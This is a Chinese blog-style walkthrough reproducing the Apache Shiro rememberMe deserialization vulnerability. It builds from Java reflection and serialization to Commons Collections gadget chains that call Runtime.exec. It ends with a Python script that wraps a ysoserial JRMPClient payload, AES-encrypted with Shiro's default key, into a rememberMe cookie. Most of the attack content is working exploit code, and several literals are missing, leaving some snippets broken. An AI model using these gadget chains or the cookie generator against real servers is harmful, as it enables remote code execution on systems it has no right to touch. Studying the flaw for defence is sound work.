java反序列化——apache-shiro复现分析
- class User{
- private String name;
- private int age;
- @Override
- public String toString(){
- return "User{" + "name=" +name + ", age="+age+"}";
- }
- public String getName() {
- return name;
- }
- public void setName(String name) {
- this.name = name;
- }
- public int getAge() {
- return age;
- }
- public void setAge(int age) {
- this.age = age;
- }
- }
现在定义了一个类User,这个类有各种的方法和参数。我们将这个类实例化之后,再动态调用它的方法来给它赋值。
- public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
- User user = new User();
- Class clz = user.getClass();
- Method method = clz.getMethod("setName", String.class);
- Method method1 = clz.getMethod("setAge", int.class);
- method1.invoke(user,);
- method.invoke(user,"fortheone");
- System.out.println(user);
- }
- import java.io.*;
- public class test1 {
- public static void main(String[] args){
- User user = new User("fortheone", );
- try {
- // 创建一个FIleOutputStream
- FileOutputStream fos = new FileOutputStream("./user.ser");
- // 将这个FIleOutputStream封装到ObjectOutputStream中
- ObjectOutputStream os = new ObjectOutputStream(fos);
- // 调用writeObject方法,序列化对象到文件user.ser中
- os.writeObject(user);
- System.out.println("读取数据:");
- // 创建一个FIleInutputStream
- FileInputStream fis = new FileInputStream("./user.ser");
- // 将FileInputStream封装到ObjectInputStream中
- ObjectInputStream oi = new ObjectInputStream(fis);
- // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型
- User user1 = (User)oi.readObject();
- user1.info();
- } catch (FileNotFoundException e) {
- e.printStackTrace();
- } catch (IOException e) {
- e.printStackTrace();
- } catch (ClassNotFoundException e) {
- e.printStackTrace();
- }
- }
- }
- class User implements Serializable{
- private String name;
- private int age;
- public User(String name, int age) {
- this.name = name;
- this.age = age;
- }
- public void info(){
- System.out.println("Name: "+name+", Age: "+age);
- }
- // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{
- // System.out.println("[*]执行了自定义的readObject函数");
- // }
- }

- <dependencies>
- <dependency>
- <groupId>commons-collections</groupId>
- <artifactId>commons-collections</artifactId>
- <version>3.1</version>
- </dependency>
- </dependencies>










- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import org.apache.commons.collections.map.TransformedMap;
- import javax.management.BadAttributeValueExpException;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.*;
- import java.util.HashMap;
- import java.util.Map;
- import java.io.*;
- public class test {
- public static void main(String[] args) throws Exception{
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- innerMap.put("value","asdf");
- Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
- // 将lazyMap封装到TiedMapEntry中
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
- // 通过反射给badAttributeValueExpException的val属性赋值
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
- val.setAccessible(true);
- val.set(badAttributeValueExpException, tiedMapEntry);
- // 序列化
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(badAttributeValueExpException);
- oos.flush();
- oos.close();
- // 本地模拟反序列化
- ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
- ObjectInputStream ois = new ObjectInputStream(bais);
- Object obj = (Object) ois.readObject();
- }
- }



- import java.io.File;
- import java.io.FileInputStream;
- import java.io.FileNotFoundException;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.lang.annotation.Retention;
- import java.lang.annotation.Target;
- import java.lang.reflect.Constructor;
- import java.util.HashMap;
- import java.util.Map;
- import java.util.Map.Entry;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- public class test {
- public static void main(String[] args) throws Exception {
- //1.客户端构建攻击代码
- //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
- new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
- };
- //将transformers数组存入ChaniedTransformer这个继承类
- Transformer transformerChain = new ChainedTransformer(transformers);
- //创建Map并绑定transformerChina
- Map innerMap = new HashMap();
- innerMap.put("value", "value");
- //给予map数据转化链
- Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
- //反射机制调用AnnotationInvocationHandler类的构造函数
- Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
- //取消构造函数修饰符限制
- ctor.setAccessible(true);
- //获取AnnotationInvocationHandler类实例
- Object instance = ctor.newInstance(Retention.class, outerMap);
- //payload序列化写入文件,模拟网络传输
- FileOutputStream f = new FileOutputStream("payload.bin");
- ObjectOutputStream fout = new ObjectOutputStream(f);
- fout.writeObject(instance);
- //2.服务端读取文件,反序列化,模拟网络传输
- FileInputStream fi = new FileInputStream("payload.bin");
- ObjectInputStream fin = new ObjectInputStream(fi);
- //服务端反序列化
- fin.readObject();
- }
- }
利用Ysoserial 生成payload






- import sys
- import uuid
- import base64
- import subprocess
- from Crypto.Cipher import AES
- def encode_rememberme(command):
- popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
- BS = AES.block_size
- pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
- key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
- iv = uuid.uuid4().bytes
- encryptor = AES.new(key, AES.MODE_CBC, iv)
- file_body = pad(popen.stdout.read())
- base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
- return base64_ciphertext
- if __name__ == '__main__':
- payload = encode_rememberme(sys.argv[])
- print "rememberMe={0}".format(payload.decode())


- 实验推荐
java反序列化——apache-shiro复现分析的更多相关文章
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- 从原理学习Java反序列化
1 序列化与反序列化 1.1 概念 序列化: 将数据结构或对象转换成二进制串的过程 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程 1.2 使用场景 当你想把的内存中的对象状态 ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- 浅谈java反序列化工具ysoserial
前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...
- Apache Shiro和Spring Security的详细对比
参考资料: 1)Apache Shiro Apache Shiro:http://shiro.apache.org/ 在Web项目中应用 Apache Shiro:http://www.ibm.com ...
- 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...
- Apache Shiro Java反序列化漏洞分析
1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
随机推荐
- Oracle Online Patching报错"This is not a RAC setup. OPatch cannot determine the local node name"
Oracle Online Patching报错"This is not a RAC setup. OPatch cannot determine the local node name&q ...
- 缘起:BigTable
Google的三篇论文,Google File System,MapReduce以及Big Table可以说是整个大数据领域的三驾马车,这里,我们简单介绍下这三驾马车基本都是干哈的,重点解读下Bigt ...
- web前端开发书籍推荐_css/css3的好书有哪些?
css/css3样式已是web前端开发的主流技术了.每个优秀的前端程序员都应该熟悉,甚至精通css.那么要如何才能学好css,并很好的应用到实际开发中,这篇文章就推荐一些关于css相关的书籍给大家. ...
- JavaScript图形实例:Hilbert曲线
德国数学家David Hilbert在1891年构造了一种曲线,首先把一个正方形等分成四个小正方形,依次从西北角的正方形中心出发往南到西南正方形中心,再往东到东南角的正方形中心,再往北到东北角正方形中 ...
- 数据库周刊31丨openGauss 正式开源;7月数据库排行榜发布;浙江移动国产数据库AntDB迁移;oracle ADG跨版本搭建;PG解决社保问题;mysqlbinlog解析……
摘要:墨天轮数据库周刊第31期发布啦,每周1次推送本周数据库相关热门资讯.精选文章.干货文档. 热门资讯 1.openGauss 正式开源,华为公开发布源代码[摘要]6月1日,华为正式宣布开源数据库能 ...
- Python爬虫:手把手教你写迷你爬虫架构
前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者:我爱学Python 语言&环境 语言:继续用Python开路 ...
- MySQL后记
MySQL后记 这篇博客的目的是记录一些容易被忽略的MySQL的知识点,以及部分pymysql模块的注意点. MySQL中的DDL与DML DDL:数据定义语言(Data Definition Lan ...
- Scala 基础(十六):泛型、类型约束-上界(Upper Bounds)/下界(lower bounds)、视图界定(View bounds)、上下文界定(Context bounds)、协变、逆变和不变
1 泛型 1)如果我们要求函数的参数可以接受任意类型.可以使用泛型,这个类型可以代表任意的数据类型. 2)例如 List,在创建 List 时,可以传入整型.字符串.浮点数等等任意类型.那是因为 Li ...
- python 爬虫写入txt:UnicodeEncodeError: ‘gbk’ codec can’t encode character 错误的解决办法
原链接:https://blog.csdn.net/vito21/article/details/53490435 今天爬一个网站的内容,在写入TXT文件时,某些页面总是报UnicodeEncodeE ...
- 数据可视化基础专题(十四):pyecharts 基础(一)简单上手
1.引言 文档位于 https://pyecharts.org/#/zh-cn/intro 示例位于 https://gallery.pyecharts.org/#/README echarts 官网 ...